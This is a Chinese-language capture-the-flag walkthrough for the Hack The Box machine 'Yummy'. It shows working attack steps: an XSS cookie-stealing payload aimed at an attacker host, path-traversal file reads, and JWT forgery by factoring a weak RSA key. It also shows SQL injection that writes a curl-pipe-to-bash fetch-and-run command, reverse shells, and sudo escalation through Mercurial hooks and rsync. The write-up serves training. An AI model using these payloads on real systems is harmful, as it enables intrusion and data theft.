HTB之Yummy

admin 2024年10月15日18:11:57评论330 views字数 10992阅读36分38秒阅读模式

HTB之Yummy

linux(hard)

HTB之Yummy

Caddy服务器+go语言

dashboard菜单可以注册并登录,

流量包分析一下,用了jwt,且不是空密码,而且没额外参数,排除越权什么的,其它接口查找无果

所以搜索 Caddy服务器漏洞,无果

wfuzz找子域名,无果

扫下目录,

它是开源的,可以访问一下,看看能否得到些信息

https://github.com/caddyserver/caddy

https://caddyserver.com/docs/api

没找到什么

查看 Book A TABLE,一个表单,尝试xss

<img src=x onerror=this.src="http://kali-ip/1.js?"+document.cookie>
HTB之Yummy

虽然用户可以收到查看这些预约信息,但不会触发xss,或者sql注入

HTB之Yummy

但是有意思的是, SAVE ICALENDER功能,会下载文件,那么思路就有了

本地文件包含

GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1

HTB之Yummy

直接读私钥文件是不存在的,那只能读Caddy的一些配置文件

另外它这个Cookie里的.session是一次性的,所以不能重发,可以写个脚本,自动爆破

import requests

url1 ='http://yummy.htb/register'
headers ={
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36'
}
json ={"email":"[email protected]","password":"123456"}


res1 = requests.post(url=url1, headers=headers, json=json)
page_text = res1.text

print(page_text)

url2='http://yummy.htb/book'

data={'name':'123','email':'[email protected]','phone':'1231231231','date':'2024-10-07','time':'11%3A16','people':'2','message':'123'}
res2 = requests.post(url=url2, headers=headers, data=data)
print(res2.status_code)

url3='http://yummy.htb/login'
session = requests.Session()
json ={"email":"[email protected]","password":"123456"}
res3 = session.post(url=url3, headers=headers, json=json)
cookies=res3.cookies
#cookies_str=""
#for i,j in cookies.items():
#    cookies_str += f'{i}={j}';
#print(cookies_str)
print(cookies)

url4='http://yummy.htb/dashboard'
res4=session.get(url=url4,headers=headers)
#print(res4.text)

url5='http://yummy.htb/reminder/21'
res5 = session.get(url=url5, headers=headers,allow_redirects=False)
print(res5.cookies)

url6='http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd'
res6=session.get(url=url6,headers=headers)
print(res6.text)

这里就需要对url6的 /etc/passwd进行替换了,自己收集了一些字典,爆破到了Caddy的配置文件

感觉没什么用

尝试计划任务/etc/crontab,还真有

HTB之Yummy

访问第一个sh文件,这个脚本给了zip文件的位置,可以用代码with open...下载(需要等一段时间才下载完毕)或者用bp下载

下载完后,可以看到app.py的内容,数据库配置+新接口

db_config = {
'host':'127.0.0.1',
'user':'chef',
'password':'3wDo?!',
'database':'yummy_db',
'cursorclass': pymysql.cursors.DictCursor,
'client_flag': CLIENT.MULTI_STATEMENTS
...
@app.route('/admindashboard', methods=['GET''POST'])
defadmindashboard():
        validation = validate_login()
if validation !="administrator":
return redirect(url_for('login'))

try:
            connection = pymysql.connect(**db_config)
with connection.cursor()as cursor:
                sql ="SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s','')

# added option to order the reservations
                order_query = request.args.get('o','')

                sql =f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql,('%'+ search_query +'%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()

return render_template('admindashboard.html', appointments=appointments)
exceptExceptionas e:
            flash(str(e),'error')
return render_template('admindashboard.html', appointments=appointments)

尝试用默认凭证登录无果,ssh无果

对于这个 admindashboard 接口 ,需要代码审计一下,很容易看到是个sql拼接,存在注入风险

但是,目前缺少admin-token,有jwt,不知道密钥不好伪造

zip压缩包给了 signature.py,所以可以尝试伪造jwt了(下面是迷惑操作,可跳过

——————————迷惑中————————

# -*- coding: utf-8 -*-
import jwt
from datetime import datetime, timedelta, timezone
fromCrypto.PublicKeyimport RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

# 1. 生成 RSA 密钥对
q = sympy.randprime(2**19,2**20)
n = sympy.randprime(2**1023,2**1024)* q
e =65537
p = n // q
phi_n =(p -1)*(q -1)
d =pow(e,-1, phi_n)
key_data ={'n': n,'e': e,'d': d,'p': p,'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

# 2. 构造 JWT 的 payload
payload ={
'email':'[email protected]',# 假设用户的 email
'role':'administrator',# 假设用户的角色
'iat':int(datetime.now(timezone.utc).timestamp()),# 签发时间 (Unix 时间戳)
'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),# 过期时间 (Unix 时间戳)
'jwk':{# JWK 字段
'kty':'RSA',
'n': key_data['n'],# RSA 模数 n
'e': key_data['e']# RSA 公钥指数 e
}
}

# 3. 使用 RSA 私钥签名 JWT
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')

# 打印生成的 JWT
print("JWT: {}".format(jwt_token))
curl -X GET http://yummy.htb/admindashboard?s=123&o=ASC -H  "Cookie:X-AUTH-Token=eyJhbGciOiJSUzI1N..."

——————————迷惑完毕————————

后来分析了一下,密钥对都是在服务器生成好了的,我新生成了一对私钥,那它肯定不通过的

那能否尝试从原有效token,分解出一些东西?

我们伪造的难点在于,代码生成的是,两个大质数p,q

q = sympy.randprime(2**192**20)
n = sympy.randprime(2**10232**1024) * q
e = 65537
p = n // q

https://jwt.io/ 解析jwt

但是已知n,根据它的性质,它有且仅有唯一的一对p,q

所以,接下来就懂了嘛

需要将token和n替换掉

# -*- coding: utf-8 -*-
import jwt
from datetime import datetime, timedelta, timezone
fromCrypto.PublicKeyimport RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

#注册成功后的那个jwt复制过来
token="eyJhbGciOiJSUzI1NiI..."
#上面token解析的n也要重新复制到这里,其实也可以从token直接解析过来,但我懒了
n=917489....

factors = sympy.factorint(n)

for factor, exponent in factors.items():
print(f"质数: {factor}, 指数: {exponent}")
# 提取 p 和 q
p=0
q=0
iflen(factors)==2:
    p, q = factors.keys()
print(f"p = {p}, q = {q}")
e =65537
phi_n =(p -1)*(q -1)
d =pow(e,-1, phi_n)
key_data ={'n': n,'e': e,'d': d,'p': p,'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

# 2. 构造 JWT 的 payload,不起作用
'''payload = {
    'email': '[email protected]',  # 假设用户的 email
    'role': 'administrator',  # 假设用户的角色
    'iat': int(datetime.now(timezone.utc).timestamp()),  # 签发时间 (Unix 时间戳)
    'exp': int((datetime.now(timezone.utc) + timedelta(hours=3650)).timestamp()),  # 过期时间 (Unix 时间戳)
    'jwk': {  # JWK 字段
        'kty': 'RSA',
        'n': str(key_data['n']),  # RSA 模数 n
        'e': key_data['e']  # RSA 公钥指数 e
    }
}'''


#尝试直接修改原payload,再加密
data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"]="administrator"
data["exp"]=1742029913
# 3. 使用 RSA 私钥签名 JWT
jwt_token = jwt.encode(data, private_key, algorithm='RS256')

# 打印生成的 JWT
print("JWT: {}".format(jwt_token))

尝试利用cookie,验证有效性

curl -X GET http://yummy.htb/admindashboard?s=123&o=ASC' -H  "Cookie:X-AUTH-Token=eyJhbGciOiJSUzI1NiI..."
HTB之Yummy
admin-jwt伪造成功

为了可以长久化测试,将Cookie在浏览器上修改一下,直接测参数就可以了

HTB之Yummy

好,报错注入,来吧

o=ASC' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
o=ASC and extractvalue(1,concat(0x7e,(select database()),0x7e))#

还是报错。。。嘶?

试试其它语句吧,SQL注入还有一个写入的方法呢,前提是要知道文件路径

还记得之前文件下载查看 /etc/crontab的时候,有两个mysql用户的sh文件

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if["$response"!='active'];then
/usr/bin/echo "{"status": "The database is down", "time": "$timestamp"}">/data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!"|/usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1/data/scripts/fixer-v*2>/dev/null |/usr/bin/sort -V |/usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if[-f /data/scripts/dbstatus.json ];then
if grep -q "database is down"/data/scripts/dbstatus.json 2>/dev/null;then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up."|/usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1/data/scripts/fixer-v*2>/dev/null |/usr/bin/sort -V |/usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi

[-f dbstatus.json ]&&/usr/bin/rm -f dbstatus.json

这个总的逻辑就是说,它会检查 /data/scripts/dbstatus.json是否存在,如果存在且不包含 database is down,就去执行(/bin/bash)最新的 /data/scripts/fixer-v*文件

有师傅分享出了做法,直接抄了

#写入非空json文件

http://yummy.htb/admindashboard?s=123&o=ASC%3B++select+"yuleiyunei%3B"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3B

#写入fixer前缀文件

o=ASC%3B++select+"curl+10.10.xx.xx/1.sh+|bash%3B"+INTO+OUTFILE++'/data/scripts/fixer-vyly'+%3B

kali这边建立python服务器+nc监听

等个二十几秒的样子就可以反弹到了,原来curl + ip也能直接访问到

mysql-shell

mysql -uchef -h localhost -p3wDo?!

但是呢,使用数据库时权限拒绝

查看/home目录,有 dev 和 qa俩用户

mysql -uchef -h 127.0.0.1 -p3wDo?

好吧,我的错,但是里面的内容被改过了,意义不大,你敢信我在用户表里发现的邮箱是qq.com吗?

最后来到 /data/scripts,发现可以使用mv命令

因为app_backup.sh是计划任务,是一定会被执行的,所以将它替换成bash反弹

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv 1.sh /data/scripts/app_backup.sh

kali监听新端口即可,拿到www-data

为什么会用mv这个命令,我能理解为是一种枚举性的尝试吧?

www-data

可以访问/var/www的子目录了,发现一个隐藏文件,进而得到qa凭证

.hg目录,给了密码,直接ssh了

qa

sudo -l得到
User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

它以dev的身份运行,而且是pull命令

hg说是一个类似git的版本管理工具

嘶,没有搜到hg的关键用法,比如它的代码执行之类的

好吧,要多些关键句比如, hg Mercurial Distributed SCM,光有个 hg 搜到的很少

https://www.selenic.com/mercurial/hgrc.5.html

来到 hooks 这一栏,可以执行命令或python函数

看不懂怎么办,问G老师,让它构造也可以

配置文件很简单,我是这样弄的,在/tmp目录下新建一个文件,内容为

[hooks]
pre-pull = /tmp/1.sh #需要chmod +x 1.sh一下,里面是bash反弹

但是有个问题,好像没有可以指定配置文件的参数

hg config --help #发现 参数
hg config -l #直接编辑添加上面的内容就可以了
#记得编辑后保存文件,^X就是指ctrl+x
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

HTB之Yummy

dev->root

sudo -l有东西

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude=.hg
        /home/dev/app-production/* /opt/app/

以root身份无密执行

rsync说是一个文件同步工具

直接sudo的话,在qa的shell中要输入dev的密码,嘶

/usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/

https://gtfobins.github.io/#rsync 这里有提权方法,但不符合无密命令,还是要密码

https://www.cnblogs.com/f-ck-need-u/p/7220009.html#auto_id_5

https://www.ruanyifeng.com/blog/2020/08/rsync.html

通过参考文档,这个命令应该是将/home目录的文件,同步到/opt/app/中去,除了/home的.hg目录

噢,格式问题,要这样

sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/

这样就没问题了,往/home添加了一些额外文件,也能成功复制到/opt/app

那么这样一个命令怎么执行东西呢?

又有师傅分享了方法

cp /bin/bash /home/dev/app*/bash
chmod u+s bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p 

这个貌似不是严格匹配sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/ ,而且还能和&&一起触发,不理解,但觉得牛的

总结

user-shell:

1.本地文件包含(得到敏感文件)->JWT敏感信息+加密文件泄露+jwt伪造->mysql-shell

2.bash反弹替换计划任务文件->www-data

3.敏感文件泄露凭证-> ssh到qa

root-shell:

1.qa,sudo -l -> dev

2.dev ,sudo -l -> root

对于陌生工具,需要查看官方文档和它的操作说明找到利用方法

对于dev提权,这个为什么提示1.sh权限拒绝呢,嘶

cd /home/dev/app*

echo "/bin/bash -p" >> 1.sh
chmod u+s 1.sh

sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/1.sh

参考

wp:来自师傅们的活跃讨论

解析jwt: https://jwt.io/

hg使用手册:https://www.selenic.com/mercurial/hgrc.5.html

rsync使用手册:https://www.cnblogs.com/f-ck-need-u/p/7220009.html#auto_id_5

https://www.ruanyifeng.com/blog/2020/08/rsync.html

原文始发于微信公众号(羽泪云小栈):HTB之Yummy

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日18:11:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB之Yummyhttps://cn-sec.com/archives/3270755.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息